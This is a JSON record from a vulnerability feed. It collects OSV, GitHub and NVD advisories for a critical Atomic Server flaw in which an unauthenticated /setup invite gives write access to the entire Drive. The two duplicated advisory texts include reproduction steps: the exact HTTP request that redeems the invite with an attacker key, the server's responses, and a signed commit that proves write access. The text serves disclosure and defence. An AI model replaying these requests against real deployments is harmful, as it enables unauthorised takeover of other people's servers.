{"vuln_id":"CVE-2026-69157","aliases":["GHSA-pfwx-xjp4-qxcj"],"description":"Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive","published_at":"2026-11-17T21:18:12.620000Z","modified_at":"2026-11-18T21:00:39.416403Z","first_seen_at":"2026-11-21T19:15:20.145645Z","severity":"critical","severity_source":"nvd","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":["CWE-306"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00473,"epss_percentile":0.41711,"nvd_status":"Received","enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-69157"},"matched_alias":null,"items":[{"id":11038,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-pfwx-xjp4-qxcj: Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive","summary":"Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive\n\n## Summary\n\natomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=\n` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.\n\n## Severity\n\n**Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive.\n\n## Affected component\n\n- `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.\n- `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.\n\n1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.\n\n2. Redeem it anonymously with an attacker-generated ed25519 public key:\n\n```http\nGET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1\nHost: localhost:9883\nAccept: application/ad+json\n```\n\nResponse `200 OK` returns a `Redirect` confirming the new agent:\n\n```json\n{\n\"https://atomicdata.dev/properties/invite/redirectAgent\":\n\"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\",\n\"https://atomicdata.dev/properties/isA\": [\"https://atomicdata.dev/classes/Redirect\"]\n}\n```\n\n3. `GET /` shows the attacker is now in the Drive's `write` array:\n\n```json\n\"https://atomicdata.dev/properties/write\": [\n\"http://localhost:9883/agents/+/KwsAmyzc7S/...\", // legit root\n\"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\" // ATTACKER\n]\n```\n\n4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.\n\n**Expected:** `/setup` must require operator authentication / a one-time secret.\n**Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write.\n\n## Impact\n\nUnauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)\n\n## Remediation\n\n- Require a one-time se\n\nAffected: crates.io:atomic-server\n\nNo fixed version published yet\n\nReferences:\nhttps://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-69157\nhttps://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969\nhttps://github.com/ontola/atomic-server","url":"https://osv.dev/vulnerability/GHSA-pfwx-xjp4-qxcj","published_at":"2026-11-18T20:42:33Z","updated_at":"2026-11-18T21:00:39.416403Z","fetched_at":"2026-11-21T19:15:55.946386Z","severity":"critical","cvss_score":9.8,"epss":0.00473,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"atomic-server","vuln_id":"CVE-2026-69157","vuln_ids":["CVE-2026-69157","GHSA-PFWX-XJP4-QXCJ"],"tags":["osv","crates.io","no-fix-yet"],"cluster_id":2303,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/11038","html":"https://vulnwatch.ve1ve2.com/item/11038"}},{"id":2436,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-pfwx-xjp4-qxcj / CVE-2026-69157: Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive","summary":"Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive\n\n## Summary\n\natomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=\n` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.\n\n## Severity\n\n**Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive.\n\n## Affected component\n\n- `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.\n- `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.\n\n1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.\n\n2. Redeem it anonymously with an attacker-generated ed25519 public key:\n\n```http\nGET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1\nHost: localhost:9883\nAccept: application/ad+json\n```\n\nResponse `200 OK` returns a `Redirect` confirming the new agent:\n\n```json\n{\n\"https://atomicdata.dev/properties/invite/redirectAgent\":\n\"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\",\n\"https://atomicdata.dev/properties/isA\": [\"https://atomicdata.dev/classes/Redirect\"]\n}\n```\n\n3. `GET /` shows the attacker is now in the Drive's `write` array:\n\n```json\n\"https://atomicdata.dev/properties/write\": [\n\"http://localhost:9883/agents/+/KwsAmyzc7S/...\", // legit root\n\"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\" // ATTACKER\n]\n```\n\n4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.\n\n**Expected:** `/setup` must require operator authentication / a one-time secret.\n**Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write.\n\n## Impact\n\nUnauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)\n\n## Remediation\n\n- Require a one-time se\n\nAffected packages: rust:atomic-server","url":"https://github.com/advisories/GHSA-pfwx-xjp4-qxcj","published_at":"2026-11-18T20:42:33Z","updated_at":"2026-11-18T20:42:35Z","fetched_at":"2026-11-21T19:15:18.416834Z","severity":"critical","cvss_score":9.8,"epss":0.00473,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"atomic-server","vuln_id":"CVE-2026-69157","vuln_ids":["CVE-2026-69157","GHSA-PFWX-XJP4-QXCJ"],"tags":["ghsa","rust","CWE-306"],"cluster_id":2303,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2436","html":"https://vulnwatch.ve1ve2.com/item/2436"}},{"id":6916,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-69157: Atomic Server is an open source headless CMS and real-time database. From 0.29.0 to 0.40.2, Atomic Server provisions a well-known /setup invite with write enab…","summary":"Atomic Server is an open source headless CMS and real-time database. From 0.29.0 to 0.40.2, Atomic Server provisions a well-known /setup invite with write enabled, the Drive root as its target, and usagesLeft set to one. construct_invite_redirect in server/src/plugins/invite.rs discards the redeemer identity, so an unauthenticated request containing an attacker-controlled public-key can create a new Agent and grant it write access to the entire Drive. On a fresh, unclaimed deployment, this permits reading, modifying, or deleting resources, changing permissions, and creating or altering Agents. No complete fixed version was verified as of this review.\n\nReferences:\nhttps://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969\nhttps://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69157","published_at":"2026-11-17T21:18:12.620000Z","updated_at":"2026-11-17T23:17:59.083000Z","fetched_at":"2026-11-21T19:15:31.482721Z","severity":"critical","cvss_score":9.8,"epss":0.00473,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-69157","vuln_ids":["CVE-2026-69157","GHSA-PFWX-XJP4-QXCJ"],"tags":["CWE-306"],"cluster_id":2304,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/6916","html":"https://vulnwatch.ve1ve2.com/item/6916"}}]}